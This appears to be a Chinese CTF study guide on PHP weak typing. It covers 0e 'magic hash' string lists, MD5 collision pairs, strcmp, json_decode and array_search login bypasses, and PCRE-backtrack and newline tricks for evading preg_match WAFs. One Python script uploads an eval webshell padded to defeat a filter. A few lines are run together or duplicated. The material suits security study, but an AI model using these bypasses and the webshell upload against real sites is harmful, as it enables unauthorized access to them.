相关文章 & Source & Reference
php 弱类型总结
PHP弱类型hash比较缺陷
ctf php弱类型、松散比较、哈希缺陷、MD5绕过、变量覆盖
MD5相关
preg_match绕过总结
PHP利用PCRE回溯次数限制绕过某些安全限制
相关 writeup
ISITDTU CTF 2019 EasyPHP 回顾
php中有两种比较的符号 == 与 ===
严格比较 : ===
在进行比较的时候,会先判断两种字符串的类型是否相等,再比较
松散比较 : ==
在进行比较的时候,会先将字符串类型转化成相同,再比较,如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换成数值并且比较按照数值来进行
<?php
var_dump("admin"==0); //true
var_dump("1admin"==1); //true
var_dump("admin1"==1) //false
var_dump("admin1"==0) //true
var_dump("0e123456"=="0e4456789"); //true
?>
观察上述代码,"admin"==0 比较的时候,会将 admin 转化成数值,强制转化, 由于 admin 是字符串,转化的结果是 0 自然和 0 相等
"1admin"==1 比较的时候会将 1admin 转化成数值, 结果为 1
"0e123456"=="0e456789" 相互比较的时候,会将 0e 这类字符串识别为科学技术法的数字,0 的无论多少次方都是零,所以相等
“admin1“==1 却等于错误,也就是 "admin1" 被转化成了 0, 为什么呢??
当一个字符串被当作一个数值来取值,其结果和类型如下: 如果该字符串没有包含'.','e','E'并且其数值值在整形的范围之内该字符串被当作 int 来取值,其他所有情况下都被作为 float 来取值,该字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为 0。
<?php
$test=1 + "10.5"; // $test=11.5(float)
$test=1+"-1.3e3"; //$test=-1299(float)
$test=1+"bob-1.3e3"; //$test=1(int)
$test=1+"2admin"; //$test=3(int)
$test=1+"admin2"; //$test=1(int)
?>
CTF 比赛中需要用到弱类型 HASH 比较缺陷最明显的标志便是管理员密码 MD5 之后的值是以 0e 开头
<?php
if (isset($_GET['Username']) && isset($_GET['password'])) {
$logined = true;
$Username = $_GET['Username'];
$password = $_GET['password'];if (!ctype_alpha($Username)) {$logined = false;}
if (!is_numeric($password) ) {$logined = false;}
if (md5($Username) != md5($password)) {$logined = false;}
if ($logined){
echo "successful";
}else{
echo "login failed!";
}
}
?>
题目大意是要输入一个字符串和数字类型,并且他们的md5值相等,就可以成功执行下一步语句
在进行比较的时候,会先将两边的变量类型转化成相同的,再进行比较
0e 在比较的时候会将其视作为科学计数法,所以无论 0e 后面是什么,0 的多少次方还是 0。
ej0D
ek06
el08
eo0n
ey0M
ey0O
ez0s
e006
e10l
eU3Z
eW3vfSoL
fToh
fTo1
fUoU
fYou
fapF
fbpf
fdpF
fnpZ
fppr
fqpa
frpj
fwpD
fyp5
f1p2
f4pN
f7pu
fDpQ
fHpP
fIp4
fJpX
fLpv
fOpi
fQp3
fTpi
fVpz
feqN
fjqN
fvq1
fyqy
fAqJ
fEqk
fFqg
fFqi
fHqX
fIqF
fKqh
fLq6
fQq6
fQqA
fRql
fUq4
fUqA
fXq0
farg
farJ
ftrT
f7rm
fCrB
fErY
fIrt
QNKCDZO
s878926199a
s155964671a
s214587387a
s214587387a
s878926199a
240610708
314282422
s1502113478a
s1091221200a
以上字符 md5 开头都是 0e,即可绕过验证
可以用下列脚本寻找
<?php
for($a=1;$a<=1000000000;$a++){
$md5 = md5($a);
if(preg_match('/^0e\d+$/',$md5)){
echo $a;
echo "\n";
echo $md5;
echo "\n";
}
}
CbDLytmyGm2xQyaLNhWn
md5(CbDLytmyGm2xQyaLNhWn) => 0ec20b7c66cafbcc7d8e8481f0653d18
md5(md5(CbDLytmyGm2xQyaLNhWn)) => 0e3a5f2a80db371d4610b8f940d296af770hQgrBOjrcqftrlaZk
md5(770hQgrBOjrcqftrlaZk) => 0e689b4f703bdc753be7e27b45cb3625
md5(md5(770hQgrBOjrcqftrlaZk)) => 0e2756da68ef740fd8f5a5c26cc45064
7r4lGXCH2Ksu2JNT3BYM
md5(7r4lGXCH2Ksu2JNT3BYM) => 0e269ab12da27d79a6626d91f34ae849
md5(md5(7r4lGXCH2Ksu2JNT3BYM)) => 0e48d320b2a97ab295f5c4694759889f
md5=md5(md5)
md5('0e215962017') ==> “0e291242476940776845150308577824”
ffifdyop
4SV7p
bJm4aG
bNas5p
ckHAEb
二进制md5加密 b8c21b7bfde6adea3a438f22e6672789
url编码 test%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00F%D5%E6R%C99%14%F3%95p%D0f%C9%17%90%1D%2C%27%5Bn_%F2%16%DAV%FA9%7Dj%0C%09%E5%BF%C3%C9%E0%DC%E58K%8B%10%EA%A2%EF_%BC%60%27%B2%A1%D9_%FF%E6%B78%8C%9F%5Ck6%EF%89N%D1%013%19%03%BAb%BB%9F.%9B%E7%7CPd%23%A3%C8S8%1C%02%D9%09%B3%107%2B%60%88%D7%D7%F3pD%AFBL%F4y%3CH%9B%94%9C%F6%3E%60u%D2%9Cf%1F%3B%EF%B3M%C6%88%ABS%19%2C二进制md5加密 b8c21b7bfde6adea3a438f22e6672789
url编码 test%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00F%D5%E6R%C99%14%F3%95p%D0f%C9%17%90%1D%2C%27%5B%EE_%F2%16%DAV%FA9%7Dj%0C%09%E5%BF%C3%C9%E0%DC%E58K%8B%10%EA%A2%EF%DF%BC%60%27%B2%A1%D9_%FF%E6%B78%8C%9F%DCk6%EF%89N%D1%013%19%03%BAb%BB%9F.%9B%E7%7CPd%23%A3%C8%D38%1C%02%D9%09%B3%107%2B%60%88%D7%D7%F3pD%AFBL%F4y%3CH%9B%94%1C%F6%3E%60u%D2%9Cf%1F%3B%EF%B3M%C6%08%ABS%19%2C
%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
if ($_GET["hash1"] != hash("md4", $_GET["hash1"]))
{
die('level 1 failed');
}//0e251288019
//0e898201062
<?php
for($i=0;$i<99999;$i++){
$x1=hash("md2", '0e'.$i.'024452');
if(substr($x1,0,2)==='0e' and is_numeric($x1)){
break;
}
}
for($j=0;$j<999999;$j++){
$x2=hash('md2',hash("md2", '0e'.$j.'48399'));
if(substr($x2,0,2)==='0e' and is_numeric($x2)){
break;
}
}
print('b=0e'.$i.'024452&c=0e'.$j.'48399');
?>// b=0e652024452&c=0e603448399
if(sha1($v1)==sha1($v2) && $v1!=$v2){// aaroZmOk
// aaK1STfY
// aaO8zKZF
// aa3OFF9m
当存在 json_decode 和 unserialize 时,部分结构会被解释为 bool 类型,会造成欺骗
<?php
if (isset($_POST['message'])) {
$message = json_decode($_POST['message']);
$key ="*********";
if ($message->key == $key) {
echo "flag";
}
else {
echo "fail";
}
}
else{
echo "~~~~";
}
?>
输入一个 json 类型的字符串,json_decode 函数解密成一个数组,判断数组中 key 的值是否等于 key 的值,但是key的值,但是key 的值我们不知道,但是可以利用 0=="admin" 这种形式绕过
最终 payload message={"key":0}
var_dump(intval('2')) # 输出为 int(2)
var_dump(intval('3bc')) # 输出为 int(3)
var_dump(intval('abcd')) # 输出为 int(0)
#intval() 用于获取变量的整数值
var_dump(0.9999999999999999999==1) # 输出为 true
<?php
echo 6e6; # 输出为 6000000
echo (int)'6e6'; # 输出为 6
strcmp 是比较两个字符串,如果 str1 < str2 则返回 < 0 如果 str1 大于 str2 返回> 0 如果两者相等 返回 0
<?php
$password="***************";
if(isset($_POST['password'])){if (strcmp($_POST['password'], $password) == 0) {
echo "Right!!!login success";
exit();
} else {
echo "Wrong password..";
}}
?>
我们是不知道 password 的值的,题目要求 strcmp 判断的接受的值和password的值的,题目要求strcmp判断的接受的值和password 必需相等,strcmp 传入的期望类型是字符串类型,如果传入的是个数组会怎么样呢
我们传入 password[]=xxx 可以绕过 是因为函数接受到了不符合的类型,将发生错误,但是还是判断其相等
payload: password[]=xxx
<?php
$a="4admin";
switch ($a) {
case 1:
echo "fail1";
break;
case 2:
echo "fail2";
break;
case 3:
echo "fail3";
break;
case 4:
echo "sucess"; //结果输出success;
break;
default:
echo "failall";
break;
}
?>
switch() 其中 ()
内的值会被弱类型转换
<?php
if(!is_array($_GET['test'])){exit();}
$test=$_GET['test'];
for($i=0;$i<count($test);$i++){
if($test[$i]==="admin"){
echo "error";
exit();
}
$test[$i]=intval($test[$i]);
}
if(array_search("admin",$test)===0){
echo "flag";
}
else{
echo "false";
}
?>
先判断传入的是不是数组,然后循环遍历数组中的每个值,并且数组中的每个值不能和 admin 相等,并且将每个值转化为 int 类型,再判断传入的数组是否有 admin,有则返回 flag
payload test[]=0 可以绕过
下面是官方手册对 array_search 的介绍
mixed array_search ( mixed $needle , array $haystack [, bool $strict = false ] )
<?php
$a=array(0,1);
var_dump(array_search("admin",$a)); // int(0) => 返回键值0
var_dump(array_search("1admin",$a)); // int(1) ==>返回键值1
?>
array_search 函数 类似于 == 也就是 $a=="admin"
当然是 $a=0
当然如果第三个参数为 true 则就不能绕过
数组绕过
preg_match 只能处理字符串,当传入的 subject 是数组时会返回 false
PCRE 回溯次数限制
<?php
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}if(!is_php($input)) {
// fwrite($f, $input); ...
}
pcre.backtrack_limit 给 pcre 设定了一个回溯次数上限,默认为 1000000,如果回溯次数超过这个数字,preg_match 会返回 false
import requests
from io import BytesIOfiles = {
'file': BytesIO(b'aaa<?php eval($_POST[txt]);//' + b'a' * 1000000)
}res = requests.post('http://1.1.1.1:8088/index.php', files=files, allow_redirects=False)
print(res.headers)
很多基于 PHP 的 WAF,如:
if(preg_match('/SELECT.+FROM.+/is', $input)) {
die('SQL Injection');
}
均存在上述问题,通过大量回溯可以进行绕过。
还有一种是
if(preg_match('/UNION.+?SELECT/is', $input)) {
die('SQL Injection');
}
回溯次数随着 a 的数量增加而增加。所以,我们仍然可以通过发送大量 a,来使回溯次数超出 pcre.backtrack_limit 限制,进而绕过 WAF.
当使用 ===
全等号匹配时,不会有这个问题
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}if(is_php($input) === 0) {
// fwrite($f, $input); ...
}
换行符
.
不会匹配换行符,如
if (preg_match('/^.*(flag).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
}
只需要
$json="\nflag"
而在非多行模式下,$
似乎会忽略在句尾的 %0a
if (preg_match('/^flag$/', $_GET['a']) && $_GET['a'] !== 'flag') {
echo $flag;
}
只需要传入
?a=flag%0a
可以关注下公众号了解更多。
其它教程学习资料。
gitee.com/haidragon/haidragon
github.com/haidragon